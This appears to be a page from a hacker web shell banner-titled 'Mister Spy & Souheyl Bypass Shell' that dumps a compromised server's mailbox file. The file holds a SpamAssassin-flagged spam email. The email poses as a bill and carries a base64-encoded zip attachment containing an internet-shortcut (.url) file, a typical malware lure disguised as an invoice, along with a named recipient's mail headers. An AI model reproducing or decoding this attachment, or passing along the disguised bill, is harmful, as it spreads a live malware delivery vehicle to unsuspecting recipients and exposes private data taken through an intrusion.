Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

From accounts@ift-informatik.de  Mon Mar  5 17:27:13 2018
Return-Path: <accounts@ift-informatik.de>
X-Original-To: cgabriel@ift-informatik.de
Delivered-To: cgabriel@ift-informatik.de
Received: by ift-informatik.de (Postfix, from userid 5555)
	id 6369D3D200D69; Mon,  5 Mar 2018 17:27:13 +0100 (CET)
Received: from localhost by h2486555.stratoserver.net
	with SpamAssassin (version 3.4.0);
	Mon, 05 Mar 2018 17:27:13 +0100
From: "Shana Devenport" <accounts@ift-informatik.de>
To: cgabriel@ift-informatik.de
Subject: *****SPAM***** bill No 133239555
Date: Mon, 05 Mar 2018 21:57:07 +0530
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	h2486555.stratoserver.net
X-Spam-Flag: YES
X-Spam-Level: ********
X-Spam-Status: Yes, score=8.0 required=5.0 tests=BAYES_40,CK_HELO_GENERIC,
	MISSING_MID,RCVD_IN_BRBL_LASTEXT,RCVD_IN_PBL,RCVD_IN_RP_RNBL,
	RCVD_IN_SORBS_DUL,RCVD_IN_XBL,RDNS_NONE autolearn=no autolearn_force=no
	version=3.4.0
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------=_5A9D6FE1.D3FC9D90"
Message-Id: <20180305162713.6369D3D200D69@ift-informatik.de>

This is a multi-part message in MIME format.

------------=_5A9D6FE1.D3FC9D90
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit

Spam detection software, running on the system "h2486555.stratoserver.net",
has identified this incoming email as possible spam.  The original
message has been attached to this so you can view it or label
similar future email.  If you have any questions, see
@@CONTACT_ADDRESS@@ for details.

Content preview:  Thank you for using online billing. Please find your bill
  attached Regards [...] 

Content analysis details:   (8.0 points, 5.0 required)

 pts rule name              description
---- ---------------------- --------------------------------------------------
 0.4 RCVD_IN_XBL            RBL: Received via a relay in Spamhaus XBL
                            [122.178.117.36 listed in zen.spamhaus.org]
 3.3 RCVD_IN_PBL            RBL: Received via a relay in Spamhaus PBL
 0.2 CK_HELO_GENERIC        Relay used name indicative of a Dynamic Pool or
                            Generic rPTR
 0.0 RCVD_IN_SORBS_DUL      RBL: SORBS: sent directly from dynamic IP address
                            [122.178.117.36 listed in dnsbl.sorbs.net]
-0.0 BAYES_40               BODY: Bayes spam probability is 20 to 40%
                            [score: 0.2226]
 1.3 RCVD_IN_RP_RNBL        RBL: Relay in RNBL,
                            https://senderscore.org/blacklistlookup/
                           [122.178.117.36 listed in bl.score.senderscore.com]
 1.4 RCVD_IN_BRBL_LASTEXT   RBL: No description available.
                            [122.178.117.36 listed in bb.barracudacentral.org]
 0.8 RDNS_NONE              Delivered to internal network by a host with no rDNS
 0.5 MISSING_MID            Missing Message-Id: header

The original message was not completely plain text, and may be unsafe to
open with some email clients; in particular, it may contain a virus,
or confirm that your address can receive spam.  If you wish to view
it, it may be safer to save it to a file and open it with an editor.


------------=_5A9D6FE1.D3FC9D90
Content-Type: message/rfc822; x-spam-type=original
Content-Description: original message before SpamAssassin
Content-Disposition: attachment
Content-Transfer-Encoding: 8bit

Received: from abts-tn-dynamic-036.117.178.122.airtelbroadband.in (unknown [122.178.117.36])
	by ift-informatik.de (Postfix) with ESMTP id A72EA3D200D68
	for <cgabriel@ift-informatik.de>; Mon,  5 Mar 2018 17:27:11 +0100 (CET)
From: "Shana Devenport" <accounts@ift-informatik.de>
To: cgabriel@ift-informatik.de
Subject: bill No 133239555
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="d82b4371-4ed2-c1fd-db96-a95522c5368e"
Date: Mon, 05 Mar 2018 21:57:07 +0530
Envelope-To: <cgabriel@ift-informatik.de>

This is a multi-part message in MIME format
--d82b4371-4ed2-c1fd-db96-a95522c5368e
Content-Type: text/plain; charset=iso-8859-1

Thank you for using online billing.

Please find your bill attached

Regards

Shana Devenport

--d82b4371-4ed2-c1fd-db96-a95522c5368e
Content-Type: application/zip; name="bill 133239555.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bill 133239555.zip"

UEsDBBQAAAAIAE95ZUzwFoRBvQAAANwAAAARAAAAQjQ0NDgyNTYyNzA1NS51cmw1jMtqwzAU
RPcC/UlrK7Kc1gYtmpQS0yxCQ8nCzsKPm9hBkYJ0lcaU/ntV3MximGE4U34zxvhMvLDHEP5t
eU+TxPxnT8nGmksiZ9lDRklZaASrAbe9sdh6DHvxuh4cSko+P9byMCjI47jx43Woj7Y2V7DY
Q2v8H+hd3TRRwOPOtP4MGl28EEI883TOn1iaRidHycrgO4yShevW6EJ3cJPJVN7CvVzm1W7Q
nfly1XZ0COeEV64HpRIedUpR8gtQSwECHwAUAAAACABPeWVM8BaEQb0AAADcAAAAEQAkAAAA
AAAAACAAAAAAAAAAQjQ0NDgyNTYyNzA1NS51cmwKACAAAAAAAAEAGAAA/zT0erTTAdyhYkd/
tNMB3KFiR3+00wFQSwUGAAAAAAEAAQBjAAAA7AAAAAAA

--d82b4371-4ed2-c1fd-db96-a95522c5368e--

------------=_5A9D6FE1.D3FC9D90--